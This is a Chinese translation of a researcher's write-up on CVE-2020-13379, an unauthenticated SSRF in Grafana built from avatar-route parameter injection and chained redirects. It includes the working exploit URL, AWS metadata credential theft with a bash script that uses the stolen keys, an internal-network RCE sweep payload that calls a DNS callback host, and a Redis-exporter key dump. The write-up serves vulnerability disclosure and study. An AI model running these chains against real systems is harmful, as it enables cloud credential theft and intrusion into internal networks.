近期,我在做Grafana公司的安全众测,通过研究我发现综合利用重定向跳转和URL参数注入漏洞,可以在Grafana产品任意实例中实现未授权的服务端请求伪造攻击(SSRF),漏洞影响版本为3.0.1至7.0.1的大范围Grafana产品,相关情况上报后被分配了CVE-2020-13379的漏洞编号。(漏洞PDF技术细节点此下载)
漏洞发现过程
在Grafana名为api.go的开源文件中,位于其第423行有这么一行代码:
r.Get("/avatar/:hash", avatarCacheServer.Handler)
为了加载用户上传保存于gravatar上的头像图片,该行代码读取/avatar/:hash中的哈希值(如https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....),并把它传递给域名为secure.grafana.com的相关路径。这里,大致的代码逻辑如下:
const ( gravatarSource = "https://secure.gravatar.com/avatar/" ) ... case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):
上述代码逻辑中的this.hash也就是前述/avatar/:hash经URL编码传递过来的hash,实际上这个被URL编码过的:hash串中,允许我们插入其它参数从而形成URL参数注入。在secure.gravatar.com域名路径下,如果向其中插入参数d,即https://secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50?d=....,之后,就会发生跳转到另一个图片存储服务i0.wp.com的情况,这是后续跳转利用链中的第一个跳转问题。
所以,我们还需要从i0.wp.com继续构造跳转,好在最后,由于主机验证机制中一个不当的正则表达式应用,我们成功形成了跳转。过程是这样的:
i0.wp.com中的URL链接构造为i0.wp.com/{domainOfImage}/{pathOfImage},该URL链接的目的在于,i0.wp.com依托.bp.blogspot.com域名存储了自身的一部份图片,因此,i0.wp.com还会继续形成对*.bp.blogspot.com的跳转。后经我花费了几个小时的测试,发现利用以下链接可在该跳转中形成一个开放重定向跳转:
http://i0.wp.com/google.com?;/1.bp.blogspot.com/
最终,综合两个跳转,可以在Grafana后台形成以下跳转链接:
https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com
在以上链接中,Grafana后台会获取test?d=google.com%3f;/bp.blogspot.com作为:hash值。
回到前述的d参数场景中,在以下链接中加入d参数:
https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/
该请求会发生一个到i0.wp.com的跳转,成为:
http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/
然后,i0.wp.com会继续发生指向google.com的跳转,成为:
https://google.com?;/1.bp.blogspot.com
在用户头像avatar的源码文件中可以看到,其中具备内容类型属性信息Content-Type: image/jpeg,以及请求后的相关响应机制:
... if avatar.Expired() { // The cache item is either expired or newly created, update it from the server if err := avatar.Update(); err != nil { log.Trace("avatar update error: %v", err) avatar = this.notFound } } if avatar.notFound { avatar = this.notFound } else if !exists { if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil { log.Trace("Error adding avatar to cache: %s", err) } } ctx.Resp.Header().Add("Content-Type", "image/jpeg") if !setting.EnableGzip { ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes()))) } ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600") if err := avatar.Encode(ctx.Resp); err != nil { log.Warn("avatar encode error: %v", err) ctx.WriteHeader(500) }
因此,综上所述的各种技术利用点,可以构造出以下成功的SSRF运行链接,让Grafana后台服务器发起对YOURHOSTHERE的请求。
https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE
该漏洞影响的不仅只是Grafana的产品实例,而且其在Gitlab(/-/grafana)和SourceTree(/-/debug/grafana/)上的源码实例也受影响。
漏洞利用
正如我在HackerOne的HacktivityCon会上所说的, 该漏洞有多个有意思的利用点。接下来,我就来分享一下具体的漏洞利用方式。
漏洞利用1-对Grafana项目云实例元数据API的操控访问(Manipulate AWS/Cloud Metadata APIs)
现代SSRF漏洞的一种流行利用就是用它去执行对目标系统云上元数据API接口的访问,以从中获得相关敏感信息。元数据API接口大多都是AWS的云形式,我们可以设法从中获取到Grafana项目EC2实例中的用户身份验证授权凭证(IAM),然后以此横向渗透到组织机构内网。迄今为止,攻击者已经利用此种SSRF利用方法渗透入侵,导致了一些大规模的数据泄露事件。
作为攻击者来说,主要关心的就是尝试从公开的AWS元数据服务器(169.254.169.254)中,用以下访问链接获取用户IAM凭证:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE(实例项目名称)
成功获取的用户IAM凭证内容如下:
{ "Code" : "Success", "LastUpdated" : "2019-08-15T18:13:44Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d", "SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE", "Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=", "Expiration" : "2019-08-16T00:33:31Z" }
有了这个IAM凭证,我们就能通过用户身份验证这一关,以内部用户身份执行对EC2实例和S3存储桶的任意访问。如果要用IAM来执行深入的用户验证测试危害证明,我推荐使用NCCGroup安全团队的Scout2工具,不过由于它会产生大量的请求响应,而且会引发一系列的密钥轮换数据,有点太过于Noisy了。这里我还是用以下标准输入的脚本方式来利用上述IAM凭证吧:
#!/bin/bash out=$(cat -) export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' ) export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g') export AWS_DEFAULT_REGION=us-east-1 export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g') echo "Profile loaded!" aws sts get-caller-identity aws ec2 describe-instances > ec2Instances.txt echo "EC2 Instances outputted to \"ec2Instances.txt\"!" aws s3api list-buckets > s3Buckets.txt echo "S3 Buckets outputted to \"s3Buckets.txt\"!"
通过AWS公开的元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以从中获取到目标实例相关的很多敏感信息,虽然AWS文档一再声称不要在该实例位置存储凭证信息,但以经验来看,之前我还是从中发现获取了大量K8S Secrets、IAM Credentials、SSL Certificates、GitHub Credentials等密钥数据。
另外,我们还能从另外一个AWS路径中获取有用信息:
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
漏洞利用2-图片渲染过程导致的Blind SSRF
Grafana实例内部会发生大量的图片渲染过程,因此攻击者可以向其中以Headless Chrome实例方式(非Chrome环境中运行Chrome),构造包含超时变量的HTML页面,以此为据点,实施长期的内网RCE攻击尝试。
同样,我们利用CVE-2020-13379的SSRF漏洞,还能执行内网端口扫描探测,比如,在Grafana的通用实例中会有一个3001端口,用该SSRF方法可以成功探测到:
HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 22 ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg" Date: Wed, 29 Jul 2020 11:21:31 GMT Connection: keep-alive Grafana Image Renderer
基于此,攻击者可以精心构造,让Grafana实例系统通过以下链接执行危险操作:
localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30
这里,我编写了以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。
<script> async function postData(url = '', data = {}) { const response = await fetch(url, { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); return response.json(); } for (var i = 0; i < 255; i++){ postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' }) } </script>
漏洞利用3-操控Gitlab的 Prometheus Redis导出器
Prometheus 是一个开源的服务监控系统和时间序列数据库。之前我们已经提到过,该漏洞还会对版本<13.1.1的Grafana Gitlab实例产生影响。根据Gitlab说明文档介绍,Grafana Gitlab实例 9.0版本开始,其Prometheus和导出器(Exporter)都是默认开启的,恰巧这些导出器可以成为攻击者利用CVE-2020-13379的突破口,其中一个导出器即是Redis Exporter,其路径为http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*,攻击者利用target参数构造,通过该路径可以下载redis服务器中的所有密钥信息。
漏洞利用4- Image-Only SSRF -> Full-Read SSRF
在Grafana开源文件avatar.go的第104行中,其对该SSRF响应内容类型(Content Type)为image/jpeg,这就给了我们基于该SSRF漏洞,综合利用其它漏洞的独特机会。假设我们有以下场景:
example.com/fetchImage.php?image=http://localhost/image.png
其fetchImage.php中的代码向请求目标发送了一个HTTP请求,然后会检查其内容类型(Content Type)是否为image/jpeg,如果是就返回请求内容。因此,如果某个内部Grafana实例存在我们这里的CVE-2020-13379漏洞,那么攻击者可以构造以下链接形成一个内容读取型的SSRF漏洞攻击:
example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254
由于返回内容需要是image/jpeg,因此它会执行一个content-type验证。另外,因为这是一个图像方式SSRF触发的读取型SSRF,而且攻击者可以控制其中的链接跳转,所以,攻击者还可把它用于文件扩展名检查欺骗。
总结
该漏洞发现其实并不复杂,有意思的是Grafana内部HTTP请求发生时,读取 :hash时的参数注入问题,但无论如何,其漏洞影响非常严重,且其漏洞利用非常稳定有效。以下是我的几点心得:
1、在源码检查时,首先去考虑未授权路径,其次是授权绕过;
2、如果在开源应用中发现了某些有意思的功能,那相对于“黑盒测试”来说,可以针对该功能花心思测试测试,至少你能以开源方式获取更多数据,并能把你的“漏洞嗅觉”派上用场;
3、针对0-day漏洞的挖掘可能会激发你的动力;
4、有些公司不会为他们的0-day漏洞买单,
5、自己发现漏洞后,可以和值得依赖的朋友分享,让他们也帮助看看是否能进行更深入的漏洞利用;
6、这是我的一个漏洞报告模板工具,欢迎参考-https://github.com/rhynorater/reports
*参考来源:rhynorater